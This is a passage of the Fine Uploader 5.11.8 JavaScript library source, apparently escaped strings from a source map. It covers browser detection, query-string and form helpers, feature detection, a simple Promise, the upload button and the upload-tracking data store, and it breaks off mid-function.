(arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        }\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                